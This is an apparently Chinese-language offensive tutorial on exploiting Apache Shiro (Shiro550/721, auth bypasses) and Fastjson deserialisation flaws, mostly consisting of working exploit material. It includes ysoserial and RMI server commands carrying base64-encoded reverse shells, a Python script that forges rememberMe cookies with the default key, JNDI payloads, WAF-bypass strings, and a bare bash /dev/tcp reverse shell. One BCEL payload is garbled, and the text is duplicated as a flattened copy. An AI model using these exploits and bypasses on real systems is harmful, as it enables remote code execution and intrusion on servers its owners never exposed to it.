shiro+fastjson整合利用
字数 2789 2025-08-19 12:41:58

Apache Shiro与Fastjson漏洞整合利用详解

一、Apache Shiro漏洞分析

1.1 Shiro框架概述

Apache Shiro是一个强大且易用的Java安全框架,提供四大核心功能:

  • 认证(Authentication):用户身份识别
  • 授权(Authorization):访问控制
  • 会话管理(Session Management):用户会话管理
  • 加密(Cryptography):数据保护

1.2 CVE-2010-3863:认证绕过漏洞

漏洞原理

  • Shiro 1.1.0以前版本未对URL进行标准化处理
  • 攻击者可构造特殊路径绕过权限验证(如////.//../等)

影响版本

  • Shiro < 1.1.0
  • JSecurity 0.9.x

复现步骤

  1. 访问目标页面(如IP:8080
  2. 尝试访问受保护路径(如/admin
  3. 使用跨目录测试字典fuzz测试

1.3 CVE-2016-4437:反序列化漏洞(Shiro550)

漏洞原理

  • Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在remember-me Cookie中
  • 攻击者可利用默认密钥伪造Cookie,触发Java反序列化漏洞

加密流程
序列化 → AES加密 → Base64编码

解密流程
Base64解码 → AES解密 → 反序列化

影响版本
Apache Shiro <= 1.2.4

检测方法

  1. 勾选"记住密码"选项后登录
  2. 抓包观察:
    • 请求包中是否有rememberme字段
    • 响应包中是否有Set-cookie:rememberMe=deleteMe字段

利用步骤

  1. 使用ysoserial生成JRMP监听:
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}'
    
  2. 使用shiro-exploit.py获取默认key
  3. 使用shiro.py生成payload(需修改key):
    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
    print("rememberMe={0}".format(payload.decode()))
    
  4. 替换数据包中的Cookie值为生成的rememberMe

1.4 CVE-2020-1957:认证绕过漏洞

漏洞原理

  • Shiro与Spring Boot对URL解析不一致
  • 攻击者可构造特殊URL绕过Shiro校验

影响版本
Apache Shiro < 1.5.2

复现方法

  • 原始URL:/admin(跳转到登录页面)
  • 绕过URL:/xxx/...;/admin/

1.5 CVE-2019-12422(Shiro721)

环境搭建

git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

检测方法

  • 观察响应包中的rememberMe=deleteMe字段
  • 使用Burp插件HaE、Logger++查看Shiro指纹

二、Fastjson漏洞分析

2.1 Fastjson概述

Fastjson是阿里巴巴的开源JSON解析库,主要功能:

  • 将Java Bean序列化为JSON字符串
  • 从JSON字符串反序列化到JavaBean

2.2 漏洞原理

Fastjson的反序列化机制允许通过@type指定反序列化类型,当解析恶意构造的JSON数据时,可能调用恶意类或方法,导致RCE。

关键概念

  • @type字段:指定反序列化时应实例化的类
  • JNDI(Java Naming and Directory Interface):Java命名和目录接口
  • RMI(Remote Method Invocation):远程方法调用
  • LDAP(Lightweight Directory Access Protocol):轻量目录访问协议

2.3 JdbcRowSetImpl利用链

利用链流程

  1. 设置dataSourceName传给lookup方法
  2. 设置autoCommit属性触发connect函数
  3. connect触发lookup函数访问RMI服务

Exploit示例

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.17.39:9999/Exploit",
    "autoCommit":true
}

2.4 版本探测方法

  1. 使用dnslog外带
  2. 通过报错信息判断版本
  3. 使用脚本快速探测版本

2.5 CVE-2017-18349 (Fastjson 1.2.24 RCE)

影响版本
Fastjson <= 1.2.24

环境搭建

cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d

复现步骤

  1. 准备JDK 8环境
  2. 安装Maven:apt-get install maven
  3. 安装marshalsec:
    git clone https://github.com/mbechler/marshalsec
    cd marshalsec
    mvn clean package -DskipTests
    
  4. 启动RMI服务:
    java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.200.159 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNjAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
    
  5. 发送攻击payload:
    python.exe fastjson-1.2.24_rce.py http://192.168.200.166:8090 rmi://192.168.200.159:9999/Object
    

2.6 CNVD-2019-22238 (Fastjson 1.2.47 RCE)

影响版本
Fastjson < 1.2.48

Payload结构

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://attacker_ip:9999/Exploit", 
        "autoCommit": true
    }
}

三、WAF绕过技术

3.1 通用绕过方法

  1. 跳过参数验证

    • PHP:?%20testid=select 1,2,3
    • ASP:?%testid=select 1,2,3
  2. 格式错误的HTTP请求:如将GET改为HELLO

  3. HTTP参数污染test=select 1&select 2,3 from tables

  4. 双重URL编码s → %73 → %25%37%33

  5. 特殊语法

    or 9=9
    or 0x47 = 0x47
    or char(32) = ''
    or 9 is not null
    1/*union*/union/*select*/select+1,2,3/*
    

3.2 Fastjson WAF绕过

  1. 编码绕过

    {
        "\x40\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/Exploit", 
        "autoCommit":true
    }
    
  2. 特殊字符绕过

    • _-会被替换为空
    • 示例:'d_a_t_aSourceName'
  3. 超大请求包

    {
        "@type":"org.example.User",
        "username":"1",
        "f":"a*20000"  //2万个a
    }
    
  4. 空格与特殊字符

    • Fastjson会去除键、值外的空格、\b\n\r\f
    • 示例:
      {/*s6*/"@type":"com.sun.rowset.JdbcRowSetImpl"}
      {\n"@type":"com.sun.rowset.JdbcRowSetImpl"}
      {"@type"\b:"com.sun.rowset.JdbcRowSetImpl"}
      

3.3 Shiro WAF绕过

  1. 协议转换:尝试POST请求
  2. 请求方法修改:如将GET替换为LOL
  3. 特殊字符:利用Host回车、TAB等

四、不出网利用技术

4.1 判断不出网

  1. 测试方法

    • 执行curl http://xxx.ceye.io
    • 尝试反弹shell:bash -i >& /dev/tcp/192.168.31.143/222 0>&1
  2. 结果分析

    • 只有DNS有回显,没有HTTP回显 → 可能不出网
    • 未接收到反弹shell → 可能不出网

4.2 不出网利用方法

  1. Tomcat BECL Payload
    {
        "name": {
            "@type": "java.lang.Class",
            "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
        },
        "x": {
            "name": {
                "@type": "java.lang.Class",
                "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            "y": {
                "@type": "com.alibaba.fastjson.JSONObject",
                "c": {
                    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                    "driverClassLoader": {
                        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                    },
                    "driverClassName": "
    

\[BCEL \]

\(l\)8b\(I$A$A$A$A$A$A\)A",
"\(ref": "\).x.y.c.connection"
}
}
}
}


2. **BCEL类加载**:
- 准备恶意Java类并编译
- 使用`com.sun.org.apache.bcel.internal.classfile.Utility`编码class文件
- 生成BCEL格式的payload

3. **内存马注入**:
- 使用工具如`fastjson-exp`注入内存马
- 实现命令回显功能

### 4.3 内网探测

利用curl实现SSRF探测:
```bash
curl -G -d 'user=marry' -d 'count=2' http://192.168.31.143:222
curl -b 'foo1=bar;foo2=bar2' http://192.168.31.143:222
curl -d 'login=admin&password=pass' -X POST http://192.168.31.143:222

五、防御建议

  1. Shiro防御

    • 升级到最新版本
    • 修改默认密钥
    • 禁用rememberMe功能(如不需要)
  2. Fastjson防御

    • 升级到最新安全版本
    • 关闭autotype功能
    • 使用安全模式(SafeMode)
  3. 通用防御

    • 部署WAF并定期更新规则
    • 限制反序列化操作
    • 实施最小权限原则
Apache Shiro与Fastjson漏洞整合利用详解 一、Apache Shiro漏洞分析 1.1 Shiro框架概述 Apache Shiro是一个强大且易用的Java安全框架,提供四大核心功能: 认证(Authentication):用户身份识别 授权(Authorization):访问控制 会话管理(Session Management):用户会话管理 加密(Cryptography):数据保护 1.2 CVE-2010-3863:认证绕过漏洞 漏洞原理 : Shiro 1.1.0以前版本未对URL进行标准化处理 攻击者可构造特殊路径绕过权限验证(如 / 、 // 、 /./ 、 /../ 等) 影响版本 : Shiro < 1.1.0 JSecurity 0.9.x 复现步骤 : 访问目标页面(如 IP:8080 ) 尝试访问受保护路径(如 /admin ) 使用跨目录测试字典fuzz测试 1.3 CVE-2016-4437:反序列化漏洞(Shiro550) 漏洞原理 : Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在 remember-me Cookie中 攻击者可利用默认密钥伪造Cookie,触发Java反序列化漏洞 加密流程 : 序列化 → AES加密 → Base64编码 解密流程 : Base64解码 → AES解密 → 反序列化 影响版本 : Apache Shiro <= 1.2.4 检测方法 : 勾选"记住密码"选项后登录 抓包观察: 请求包中是否有 rememberme 字段 响应包中是否有 Set-cookie:rememberMe=deleteMe 字段 利用步骤 : 使用 ysoserial 生成JRMP监听: 使用 shiro-exploit.py 获取默认key 使用 shiro.py 生成payload(需修改key): 替换数据包中的Cookie值为生成的 rememberMe 1.4 CVE-2020-1957:认证绕过漏洞 漏洞原理 : Shiro与Spring Boot对URL解析不一致 攻击者可构造特殊URL绕过Shiro校验 影响版本 : Apache Shiro < 1.5.2 复现方法 : 原始URL: /admin (跳转到登录页面) 绕过URL: /xxx/...;/admin/ 1.5 CVE-2019-12422(Shiro721) 环境搭建 : 检测方法 : 观察响应包中的 rememberMe=deleteMe 字段 使用Burp插件HaE、Logger++查看Shiro指纹 二、Fastjson漏洞分析 2.1 Fastjson概述 Fastjson是阿里巴巴的开源JSON解析库,主要功能: 将Java Bean序列化为JSON字符串 从JSON字符串反序列化到JavaBean 2.2 漏洞原理 Fastjson的反序列化机制允许通过 @type 指定反序列化类型,当解析恶意构造的JSON数据时,可能调用恶意类或方法,导致RCE。 关键概念 : @type 字段:指定反序列化时应实例化的类 JNDI(Java Naming and Directory Interface):Java命名和目录接口 RMI(Remote Method Invocation):远程方法调用 LDAP(Lightweight Directory Access Protocol):轻量目录访问协议 2.3 JdbcRowSetImpl利用链 利用链流程 : 设置 dataSourceName 传给 lookup 方法 设置 autoCommit 属性触发 connect 函数 connect 触发 lookup 函数访问RMI服务 Exploit示例 : 2.4 版本探测方法 使用dnslog外带 通过报错信息判断版本 使用脚本快速探测版本 2.5 CVE-2017-18349 (Fastjson 1.2.24 RCE) 影响版本 : Fastjson <= 1.2.24 环境搭建 : 复现步骤 : 准备JDK 8环境 安装Maven: apt-get install maven 安装marshalsec: 启动RMI服务: 发送攻击payload: 2.6 CNVD-2019-22238 (Fastjson 1.2.47 RCE) 影响版本 : Fastjson < 1.2.48 Payload结构 : 三、WAF绕过技术 3.1 通用绕过方法 跳过参数验证 : PHP: ?%20testid=select 1,2,3 ASP: ?%testid=select 1,2,3 格式错误的HTTP请求 :如将GET改为HELLO HTTP参数污染 : test=select 1&select 2,3 from tables 双重URL编码 : s → %73 → %25%37%33 特殊语法 : 3.2 Fastjson WAF绕过 编码绕过 : 特殊字符绕过 : _ 和 - 会被替换为空 示例: 'd_a_t_aSourceName' 超大请求包 : 空格与特殊字符 : Fastjson会去除键、值外的空格、 \b 、 \n 、 \r 、 \f 等 示例: 3.3 Shiro WAF绕过 协议转换 :尝试POST请求 请求方法修改 :如将GET替换为LOL 特殊字符 :利用Host回车、TAB等 四、不出网利用技术 4.1 判断不出网 测试方法 : 执行 curl http://xxx.ceye.io 尝试反弹shell: bash -i >& /dev/tcp/192.168.31.143/222 0>&1 结果分析 : 只有DNS有回显,没有HTTP回显 → 可能不出网 未接收到反弹shell → 可能不出网 4.2 不出网利用方法 Tomcat BECL Payload : BCEL类加载 : 准备恶意Java类并编译 使用 com.sun.org.apache.bcel.internal.classfile.Utility 编码class文件 生成BCEL格式的payload 内存马注入 : 使用工具如 fastjson-exp 注入内存马 实现命令回显功能 4.3 内网探测 利用curl实现SSRF探测: 五、防御建议 Shiro防御 : 升级到最新版本 修改默认密钥 禁用rememberMe功能(如不需要) Fastjson防御 : 升级到最新安全版本 关闭autotype功能 使用安全模式(SafeMode) 通用防御 : 部署WAF并定期更新规则 限制反序列化操作 实施最小权限原则